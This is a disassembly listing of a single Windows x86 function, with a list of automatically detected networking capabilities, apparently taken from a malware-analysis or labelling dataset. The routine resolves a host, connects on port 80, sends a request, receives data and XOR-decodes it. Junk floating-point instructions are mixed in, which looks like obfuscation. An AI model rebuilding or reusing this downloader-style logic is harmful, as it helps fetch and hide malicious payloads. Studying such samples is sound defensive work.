Function at 0x408620
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c7e0
push 0xffffffffffffffff
push 0x41e70b
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x426160]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fst dword [ebp - 0x1c]
fldz
mov dword [ebp - 0x28], ebx
fst qword [ebp - 0x38]
xor edx, edx
mov byte [ebp + 0x11bc], dl
mov dword [ebp - 0x44], ebx
fst qword [ebp - 0x40]
mov word [ebp - 0x20], dx
fxch st(1)
fstp dword [ebp - 0x48]
mov eax, esi
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 1
fst qword [ebp - 0x30]
lea edx, [eax + 1]
fstp qword [ebp - 0x24]
add dword [0x425f90], 0x3a4590b0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086d3
sub eax, edx
mov edi, eax
mov ax, word [0x423d14]
movsx ecx, ax
add ecx, 0x120aa46a
cmp edi, 0x7f
mov dword [ebp - 0x20], ecx
fild dword [ebp - 0x20]
fadd dword [ebp - 0x1c]
fstp dword [ebp - 0x1c]
jg 0x40898d
xor eax, eax
cmp eax, edi
jg 0x40875e
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408759
fld dword [ebp - 0x1c]
mov byte [ebp + eax + 0x13bc], 0
fsub qword [0x41f970]
mov ecx, eax
fstp dword [ebp - 0x1c]
fld qword [0x41f968]
cmp ecx, edi
jg 0x40875c
fld qword [0x4235a8]
mov edx, ecx
fmul st(1)
sub edx, eax
inc ecx
fstp qword [0x4235a8]
mov bl, byte [ecx + esi - 1]
mov byte [ebp + edx + 0x11bc], bl
xor ebx, ebx
jmp 0x408733
inc eax
jmp 0x408704
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408767
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408780
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408975
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087a0
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4087b0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425fa0
rep movsb byte es:[edi], byte [esi]
call fcn.004022d0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d50
xor eax, eax
xor ecx, ecx
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x20], cx
push esi
mov byte [esi + 4], al
call fcn.0040b32e
movzx edx, word [ebp - 0x20]
mov eax, dword [ebp - 0x14]
sub edx, eax
add esp, 4
add edx, 0x4554cb71
lea eax, [ebp + 0x11bc]
mov word [ebp - 0x20], dx
lea edx, [eax + 1]
jmp 0x408830
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408830
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.004084e0
push 0x32
push 0x42318c
call fcn.004022d0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408860
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004084e0
push 0x32
xor edx, edx
push ebx
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x20], dx
push esi
call fcn.0040b470
push esi
call fcn.0040b32e
movzx eax, word [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
sub eax, ecx
add esp, 0x10
add eax, 0x4554cb71
mov word [ebp - 0x20], ax
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088b0
sub eax, edx
push eax
lea edx, [ebp + 0x13bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.004084e0
push 5
push 0x4233a8
call fcn.004022d0
inc dword [0x423554]
fld qword [ebp - 0x30]
fsub qword [0x41f368]
mov esi, eax
add esp, 8
fstp qword [ebp - 0x30]
mov eax, dword [0x423554]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd qword [ebp - 0x30]
fadd qword [ebp - 0x30]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b3c0
mov dword [ebp - 0x28], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408918
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004084e0
xor eax, eax
xor edx, edx
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x20], dx
push esi
mov byte [esi + 4], al
call fcn.0040b32e
movzx eax, word [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
add esp, 4
lea edx, [ebp]
sub eax, ecx
push edx
add eax, 0x4554cb71
push 0x202
mov word [ebp - 0x20], ax
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4089b2
add dword [0x425e44], 0x9674570a
cmp dword [ebp + 0x1b8], 0x10
jb 0x40898d
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040aeba
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b9a5
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x28], esi
cmp esi, 0xffffffff
jne 0x4089de
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x40898d
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408985
fld dword [ebp - 0x1c]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
fadd qword [0x41f960]
fsub qword [0x4231c0]
fadd qword [0x4251d0]
fstp qword [0x4251d0]
fld qword [0x4231c0]
fadd st(1)
fstp qword [0x4231c0]
cmp dword [ebp + 0x1458], ebx
je 0x408a51
fadd qword [ebp - 0x38]
push 4
lea edx, [ebp + 0x1458]
push edx
fstp qword [ebp - 0x38]
push 0x1006
fld qword [ebp - 0x38]
push 0xffff
fsub qword [0x41f958]
push esi
fadd qword [0x41f950]
fadd qword [ebp - 0x40]
fstp qword [ebp - 0x40]
call sub.WS2_32.dll_setsockopt
fld1
fld qword [ebp - 0x30]
mov eax, dword [0x4236a4]
fadd qword [0x41f948]
mov dword [ebp - 0x14], eax
fsub qword [0x41f940]
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b3c0
mov dword [0x4236a4], eax
fsubr qword [ebp - 0x30]
lea ecx, [ebp + 0x13bc]
push ecx
fstp qword [ebp - 0x30]
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x408aa6
cmp dword [ebp + 0x1b8], 0x10
jb 0x40898d
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408985
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408afc
cmp dword [ebp + 0x1b8], edi
jmp 0x40897c
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408b10
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408b56
fld dword [0x4232f8]
mov edx, dword [0x423408]
sub edx, 0x1cc4890a
mov dword [ebp - 0x14], edx
fisub dword [ebp - 0x14]
fstp dword [0x4232f8]
inc dword [0x423408]
cmp dword [ebp + 0x1b8], edi
jmp 0x40897c
mov ecx, dword [ebp - 0x18]
push ebx
push 0x41f938
call fcn.00407d50
or esi, 0xffffffff
or ebx, esi
lea esp, [esp]
mov edx, dword [ebp - 0x28]
push 0
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
push edx
call sub.WS2_32.dll_recv
test eax, eax
jg 0x408bbb
fld qword [0x423cd8]
fadd qword [0x41f368]
fstp qword [0x423cd8]
fld qword [0x423cd8]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040b3c0
mov dword [ebp - 0x44], eax
jmp 0x408ce9
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x18]
call fcn.004084e0
test esi, esi
jge 0x408ca8
push 5
push 0x4233a8
call fcn.004022d0
fld qword [0x423310]
fmul qword [0x41f930]
add esp, 8
mov edi, eax
lea edx, [eax + 1]
fstp qword [0x423310]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408c00
mov ecx, dword [ebp - 0x18]
sub eax, edx
push eax
push 0
push edi
call fcn.00404670
fld qword [ebp - 0x38]
fmul qword [0x41f928]
push edi
push 5
mov esi, eax
fstp qword [ebp - 0x38]
call fcn.004024d0
add esp, 8
test esi, esi
jl 0x408c86
mov edx, dword [ebp - 0x18]
push edx
add esi, 4
call fcn.00406f10
mov ebx, eax
add esp, 4
mov dword [ebp - 0x14], ebx
test ebx, ebx
jge 0x408c86
push 0xb
push 0x423548
call fcn.004022d0
mov ecx, dword [ebp - 0x18]
add esp, 8
mov edi, eax
push 0
push edi
call fcn.00405470
fld dword [ebp - 0x48]
fsub qword [0x41f920]
push edi
push 0xb
mov ebx, eax
fstp dword [ebp - 0x48]
call fcn.004024d0
add esp, 8
test ebx, ebx
jge 0x408ce9
mov ebx, dword [ebp - 0x14]
fld qword [ebp - 0x40]
fcomp qword [0x41f918]
fnstsw ax
test ah, 1
jne 0x408ca8
fld dword [0x423968]
fmul qword [0x41f910]
fstp dword [0x423968]
test ebx, ebx
jl 0x408cb8
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x14]
sub eax, esi
cmp eax, ebx
jae 0x408ce9
cmp dword [ebp + 0x1458], 0
je 0x408b70
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x14], 0x4000
jb 0x408b70
fld qword [ebp - 0x38]
fld qword [0x424838]
fsubr qword [0x41f908]
fsubp st(1)
fstp qword [ebp - 0x38]
mov edx, dword [ebp - 0x28]
push edx
call sub.WS2_32.dll_closesocket
fld qword [0x423660]
fld dword [ebp - 0x1c]
fsubr qword [0x41f900]
fsubp st(1)
fstp qword [0x423660]
call sub.WS2_32.dll_WSACleanup
mov edi, dword [ebp - 0x18]
test esi, esi
jl 0x408d1f
push esi
push 0
mov ecx, edi
call fcn.004053e0
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408975
xor esi, esi
nop
cmp esi, dword [edi + 0x14]
jae 0x408975
fld qword [ebp - 0x40]
fsub qword [0x41f8f8]
fstp qword [ebp - 0x40]
cmp esi, dword [edi + 0x14]
jbe 0x408d4f
call fcn.0040bb11
cmp dword [edi + 0x18], 0x10
jb 0x408d5e
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408d30
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408d30